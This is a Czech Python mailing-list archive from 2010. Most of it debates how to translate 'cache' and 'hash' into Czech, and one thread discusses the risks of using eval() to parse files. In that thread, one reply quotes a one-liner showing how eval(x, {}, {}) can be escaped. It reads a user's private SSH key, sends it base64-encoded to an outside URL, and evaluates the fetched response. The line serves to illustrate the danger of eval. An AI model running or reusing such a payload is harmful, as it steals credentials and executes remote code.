[python] eval je nebezpečný, ale i užit ečný (bylo parsing souboru)

2010-05-06 Tema obsahu Petr Přikryl

Tomas Hnizdil
 Mam soubor, ve kterem mam textova data ve formatu dictionary tj. '{'KLIC':
 'hodnota', .. {'SUBSLOVNIK': 'hodnota' } ...}
 Potrebuji zjistit hodnotu dvou klicu, ktere jsou umitsteny skoro na konci
 toho slovniku. Vsechno je to ulozeno jako jedna radka a ma to v prumeru 6000
 znaku, prijde mi proto neefektivni to cist od zacatku a navic to nacitat

Petr Messner
pokud to vypadá jako JSON, asi nejlepší bude použít na to nějakou
knihovnu, jak už tu zaznělo. Další zmíněná možnost, eval, se mi moc
nelíbí.

Do stohu bych se sirkama taky nelezl a dětem bych nedával ostrý nůž na hraní.
Je to záležitost volby. Pokud jde o utilitku narychlo, pro vlastní potřebu, 
je podle mě použití eval() bez problémů.

Nebezpečnost eval() je úzce spojená se znalostí jeho vstupu.
Pokud jsem schopen ohlídat, že tam nic špatného nepronikne,
je to OK. Záleží na tom, kdo ten zpracovávaný soubor připravuje.

Je jasné, že do webové služby by se to cpát nemělo.

Modul json je od Python 2.6 mezi standardními moduly.

Mějte se fajn,
   Petr
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


[python] OT: překlad cache, hash

2010-05-06 Tema obsahu Petr Přikryl

Zdravím všechny,

Tohle je spíš pro lidi, kdo kromě vlastního názoru mají
i nějakou zkušenost...

Co to je cache a hash ví (aspoň přibližně) každý, kdo
trochu k počítačům čuchnul.  Není to problém chápat, 
není problém to používat v hovoru keš, heš. Problém
je rozlišit folklór a slang od něčeho, co snese papír
knížky.

hash -- ve smyslu speciální hodnoty, která vzniká
   jako příznak zpracovaného obsahu.

   (Příbuzné přejaté slovo hašé -- sekané maso...)

cache -- vyrovnávací paměť (spíš u hardware),
   ale také mechanismus použití obsahu (rozhodnutí,
   kdy použít a kdy ne, kdy získat novou hodnotu
   ze zdroje... ve smyslu funkce HTTP protokolu, např.)

Teď ta otázka...  Jak ty pojmy psát česky? Kde,
při jakých příležitostech, ... jste nějaké české pokusy
viděli?

Není to věc logiky. Chce to sebrané zkušenosti 
a braingstorming (tj. klidně i blbosti ;)

Díky,
   Petr
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] OT: překlad cache, hash

2010-05-06 Tema obsahu Galloth
Hash function se do cestiny preklada jako rozptylovaci funkce. Nedavno
jsem si ale delal nejake experimenty na google a zjistil jsem, ze
nejcasteji se proste pise hashovaci funkce, coz i mne prijde rozumne.

U cache moc nevim, ale nevim proc by se u HTTP protokolu take nemohlo
pouzit vyrovnavaci pamet, funguje to preci uplne stejne jako v tom HW.
Kdyz mate v Hardware viceprocesorovy system, tak vyrovnavaci pamet
musi zajistit , zda obsahuje aktualni data, coz je presne to same, co
popisujete u HTTP, nebo ne?

Princip vyrovnavaci pameti spociva v tom, ze je rychlejsi nez vlastni
zdroj a pouzije se tedy vzdy, kdyz obsahuje platna data.

Galloth

2010/5/6 Petr Přikryl prik...@atlas.cz:

 Zdravím všechny,

 Tohle je spíš pro lidi, kdo kromě vlastního názoru mají
 i nějakou zkušenost...

 Co to je cache a hash ví (aspoň přibližně) každý, kdo
 trochu k počítačům čuchnul.  Není to problém chápat,
 není problém to používat v hovoru keš, heš. Problém
 je rozlišit folklór a slang od něčeho, co snese papír
 knížky.

 hash -- ve smyslu speciální hodnoty, která vzniká
   jako příznak zpracovaného obsahu.

   (Příbuzné přejaté slovo hašé -- sekané maso...)

 cache -- vyrovnávací paměť (spíš u hardware),
   ale také mechanismus použití obsahu (rozhodnutí,
   kdy použít a kdy ne, kdy získat novou hodnotu
   ze zdroje... ve smyslu funkce HTTP protokolu, např.)

 Teď ta otázka...  Jak ty pojmy psát česky? Kde,
 při jakých příležitostech, ... jste nějaké české pokusy
 viděli?

 Není to věc logiky. Chce to sebrané zkušenosti
 a braingstorming (tj. klidně i blbosti ;)

 Díky,
   Petr
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python




-- 
Jan Kastil
gall...@jabbim.cz
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] OT: překlad cache, hash

2010-05-06 Tema obsahu Petr Přikryl

Galloth
Hash function se do cestiny preklada jako rozptylovaci funkce. Nedavno
jsem si ale delal nejake experimenty na google a zjistil jsem, ze
nejcasteji se proste pise hashovaci funkce, coz i mne prijde rozumne.

Ano. Ten pojem je OK, ale to, co potřebuju, je to trošku něco jiného.
Pojem rozptylovací funkce se používá v souvislosti
s vyhledávacími tabulkami (hash table), kde se snažíme
o rovnoměrné rozptýlení hodnot do celočíselného intervalu.

Tady jde spíš o to, že se z velkého vzorku dat vyrobí malý 
příznakový vzorek, podle kterého se dá identifikovat ten velký.
V tomto smyslu nemusí být (a nebývá) hash hodnota celočíselná.
V takových souvislostech ale ztrácí smysl pojem rozptylovací funkce.

Svůj pohled, který s pojmem rozptylovací funkce souvisí, jsem kdysi 
vyjádřil tady http://www.skil.cz/python/cztuttrn.html#Pdata_hash
Ale například u HTTP protokolu se hash dokumentu používá
jako příznak konkrétního obsahu dokumentu. Je to trošku něco
jiného. Nemusí to být hodnota kvalitně rozptýlená. Musí to být 
hodnota, která je pokud možno 1 : 1 přiřaditelná k řetězci, 
z kterého vznikla. Jsou na ni tedy jiné nároky. Na rozdíl od
vyhledávacích tabulek nechceme vůbec připustit možnosti
kolize (pokud možno žádná synonyma).

Dá se to sice různě opsat, ale je to natolik frekventované
a specifické slovo, že se pak stejně za opis musí napsat
do závorky hash. 

O cache to platí ještě víc (ještě frekventovanější) -- alespoň 
v tom, co překládám.
 
U cache moc nevim, ale nevim proc by se u HTTP protokolu take nemohlo
pouzit vyrovnavaci pamet, funguje to preci uplne stejne jako v tom HW.
Kdyz mate v Hardware viceprocesorovy system, tak vyrovnavaci pamet
musi zajistit , zda obsahuje aktualni data, coz je presne to same, co
popisujete u HTTP, nebo ne?

Princip vyrovnavaci pameti spociva v tom, ze je rychlejsi nez vlastni
zdroj a pouzije se tedy vzdy, kdyz obsahuje platna data.

Ano. Asi je to úplně stejné (z abstraktního hlediska). Používání
je trochu komplikovanější, než u hardware (složitější pravidla),
ale principiálně to tak je.

Problém je, jak rozumně překládat třeba caching (jako činnost),
caching headers (jako relativně stručné označení něčeho
konkrétního).

Každopádně díky za příspěvek,
 Petr
 


Petr Přikryl

 Co to je cache a hash ví (aspoň přibližně) každý, kdo
 trochu k počítačům čuchnul.  Není to problém chápat,
 není problém to používat v hovoru keš, heš. Problém
 je rozlišit folklór a slang od něčeho, co snese papír
 knížky.

 hash -- ve smyslu speciální hodnoty, která vzniká
   jako příznak zpracovaného obsahu.

   (Příbuzné přejaté slovo hašé -- sekané maso...)

 cache -- vyrovnávací paměť (spíš u hardware),
   ale také mechanismus použití obsahu (rozhodnutí,
   kdy použít a kdy ne, kdy získat novou hodnotu
   ze zdroje... ve smyslu funkce HTTP protokolu, např.)

 Teď ta otázka...  Jak ty pojmy psát česky? Kde,
 při jakých příležitostech, ... jste nějaké české pokusy
 viděli?

 Není to věc logiky. Chce to sebrané zkušenosti
 a braingstorming (tj. klidně i blbosti ;)
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] OT: překlad cache, hash

2010-05-06 Tema obsahu Galloth
Otazkou ale je, jestli ma smysl jeden anglicky vyraz prekladat na vice
ceskych vyrazu podle kontextu. Nechci byt stoural, ale prijde mi to
jako mateni ctenare, pokud ctenar zna pojem z trochu jine oblasti
(treba tu cache s HW) zakladni princip mu bude jasny hned jak uvidi
nazev. Pokud se to ale bude prekladat podle kontextu, tak to bude
studovat aby si nakonec rekl aha, to je vlasne cache

Galloth

2010/5/6 Petr Přikryl prik...@atlas.cz:

 Galloth
Hash function se do cestiny preklada jako rozptylovaci funkce. Nedavno
jsem si ale delal nejake experimenty na google a zjistil jsem, ze
nejcasteji se proste pise hashovaci funkce, coz i mne prijde rozumne.

 Ano. Ten pojem je OK, ale to, co potřebuju, je to trošku něco jiného.
 Pojem rozptylovací funkce se používá v souvislosti
 s vyhledávacími tabulkami (hash table), kde se snažíme
 o rovnoměrné rozptýlení hodnot do celočíselného intervalu.

 Tady jde spíš o to, že se z velkého vzorku dat vyrobí malý
 příznakový vzorek, podle kterého se dá identifikovat ten velký.
 V tomto smyslu nemusí být (a nebývá) hash hodnota celočíselná.
 V takových souvislostech ale ztrácí smysl pojem rozptylovací funkce.

 Svůj pohled, který s pojmem rozptylovací funkce souvisí, jsem kdysi
 vyjádřil tady http://www.skil.cz/python/cztuttrn.html#Pdata_hash
 Ale například u HTTP protokolu se hash dokumentu používá
 jako příznak konkrétního obsahu dokumentu. Je to trošku něco
 jiného. Nemusí to být hodnota kvalitně rozptýlená. Musí to být
 hodnota, která je pokud možno 1 : 1 přiřaditelná k řetězci,
 z kterého vznikla. Jsou na ni tedy jiné nároky. Na rozdíl od
 vyhledávacích tabulek nechceme vůbec připustit možnosti
 kolize (pokud možno žádná synonyma).

Tady bych oponoval pokud funkce nebude poskytovat kvalitne rozptylene
vysledky, sance kolize naopak vzroste. Protoze sance kolize jsou
nejmensi prave v pripade, ze se kazdy bod s vystupniho intervalu
pouziva stejne casto.

Jako pojem by se tedy myslo rozptylovaci funkce mohlo pouzit
podepisovaci funkce. Protoze funguje jako podpis dokumentu (kazdy
dokument ma svuj a jedinecny)



 Dá se to sice různě opsat, ale je to natolik frekventované
 a specifické slovo, že se pak stejně za opis musí napsat
 do závorky hash.

 O cache to platí ještě víc (ještě frekventovanější) -- alespoň
 v tom, co překládám.

U cache moc nevim, ale nevim proc by se u HTTP protokolu take nemohlo
pouzit vyrovnavaci pamet, funguje to preci uplne stejne jako v tom HW.
Kdyz mate v Hardware viceprocesorovy system, tak vyrovnavaci pamet
musi zajistit , zda obsahuje aktualni data, coz je presne to same, co
popisujete u HTTP, nebo ne?

Princip vyrovnavaci pameti spociva v tom, ze je rychlejsi nez vlastni
zdroj a pouzije se tedy vzdy, kdyz obsahuje platna data.

 Ano. Asi je to úplně stejné (z abstraktního hlediska). Používání
 je trochu komplikovanější, než u hardware (složitější pravidla),
 ale principiálně to tak je.

 Problém je, jak rozumně překládat třeba caching (jako činnost),
 caching headers (jako relativně stručné označení něčeho
 konkrétního).

 Každopádně díky za příspěvek,
     Petr



 Petr Přikryl

 Co to je cache a hash ví (aspoň přibližně) každý, kdo
 trochu k počítačům čuchnul.  Není to problém chápat,
 není problém to používat v hovoru keš, heš. Problém
 je rozlišit folklór a slang od něčeho, co snese papír
 knížky.

 hash -- ve smyslu speciální hodnoty, která vzniká
   jako příznak zpracovaného obsahu.

   (Příbuzné přejaté slovo hašé -- sekané maso...)

 cache -- vyrovnávací paměť (spíš u hardware),
   ale také mechanismus použití obsahu (rozhodnutí,
   kdy použít a kdy ne, kdy získat novou hodnotu
   ze zdroje... ve smyslu funkce HTTP protokolu, např.)

 Teď ta otázka...  Jak ty pojmy psát česky? Kde,
 při jakých příležitostech, ... jste nějaké české pokusy
 viděli?

 Není to věc logiky. Chce to sebrané zkušenosti
 a braingstorming (tj. klidně i blbosti ;)
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python




-- 
Jan Kastil
gall...@jabbim.cz
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-06 Tema obsahu ViNiL

Petr Messner:
 eval(x, {}, {})

 Jakým X se dá z takové konstrukce utéci?


eval(__import__('urllib2').urlopen('http://messa.cz/?pepovoklic='+__import__('base64').urlsafe_b64encode(open('/home/pepa/.ssh/id_dsa').read())).read(),
{}, {})



Tak to je odpoved, az srdecko zaplesalo :-D
Myslim, ze je na case zavest soutez o prispevek mesice...

V.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] OT: překlad cache, hash

2010-05-06 Tema obsahu Visgean Skeloru
2010/5/6 Petr Přikryl prik...@atlas.cz


 Zdravím všechny,

 Tohle je spíš pro lidi, kdo kromě vlastního názoru mají
 i nějakou zkušenost...

 Co to je cache a hash ví (aspoň přibližně) každý, kdo
 trochu k počítačům čuchnul.  Není to problém chápat,
 není problém to používat v hovoru keš, heš. Problém
 je rozlišit folklór a slang od něčeho, co snese papír
 knížky.

 hash -- ve smyslu speciální hodnoty, která vzniká
   jako příznak zpracovaného obsahu.

   (Příbuzné přejaté slovo hašé -- sekané maso...)

 cache -- vyrovnávací paměť (spíš u hardware),
   ale také mechanismus použití obsahu (rozhodnutí,
   kdy použít a kdy ne, kdy získat novou hodnotu
   ze zdroje... ve smyslu funkce HTTP protokolu, např.)

 Teď ta otázka...  Jak ty pojmy psát česky? Kde,
 při jakých příležitostech, ... jste nějaké české pokusy
 viděli?

 Není to věc logiky. Chce to sebrané zkušenosti
 a braingstorming (tj. klidně i blbosti ;)

 Díky,
Petr


Hmm, podle mně je překládání těchhle konkrétních slov nesmysl - většina
textů stejně používá anglické výrazy a tak čtenář nepochopí českou variantu,
popřípadě nováček který se s pojmi setká poprvé (ať už v anglické či české
verzi) tak bude později zmaten. Taktéž pro dohledávání informací je mnohem
lepší angličtina než čeština...
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] OT: překlad cache, hash

2010-05-06 Tema obsahu mimi.vx
On 6 kvě, 22:43, Visgean Skeloru visg...@gmail.com wrote:
 2010/5/6 Petr Přikryl prik...@atlas.cz





  Zdravím všechny,

  Tohle je spíš pro lidi, kdo kromě vlastního názoru mají
  i nějakou zkušenost...

  Co to je cache a hash ví (aspoň přibližně) každý, kdo
  trochu k počítačům čuchnul.  Není to problém chápat,
  není problém to používat v hovoru keš, heš. Problém
  je rozlišit folklór a slang od něčeho, co snese papír
  knížky.

  hash -- ve smyslu speciální hodnoty, která vzniká
jako příznak zpracovaného obsahu.

(Příbuzné přejaté slovo hašé -- sekané maso...)

  cache -- vyrovnávací paměť (spíš u hardware),
ale také mechanismus použití obsahu (rozhodnutí,
kdy použít a kdy ne, kdy získat novou hodnotu
ze zdroje... ve smyslu funkce HTTP protokolu, např.)

  Teď ta otázka...  Jak ty pojmy psát česky? Kde,
  při jakých příležitostech, ... jste nějaké české pokusy
  viděli?

  Není to věc logiky. Chce to sebrané zkušenosti
  a braingstorming (tj. klidně i blbosti ;)

  Díky,
 Petr

 Hmm, podle mně je překládání těchhle konkrétních slov nesmysl - většina
 textů stejně používá anglické výrazy a tak čtenář nepochopí českou variantu,
 popřípadě nováček který se s pojmi setká poprvé (ať už v anglické či české
 verzi) tak bude později zmaten. Taktéž pro dohledávání informací je mnohem
 lepší angličtina než čeština...

take bych zrovna tyhle slova neprekladal .
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python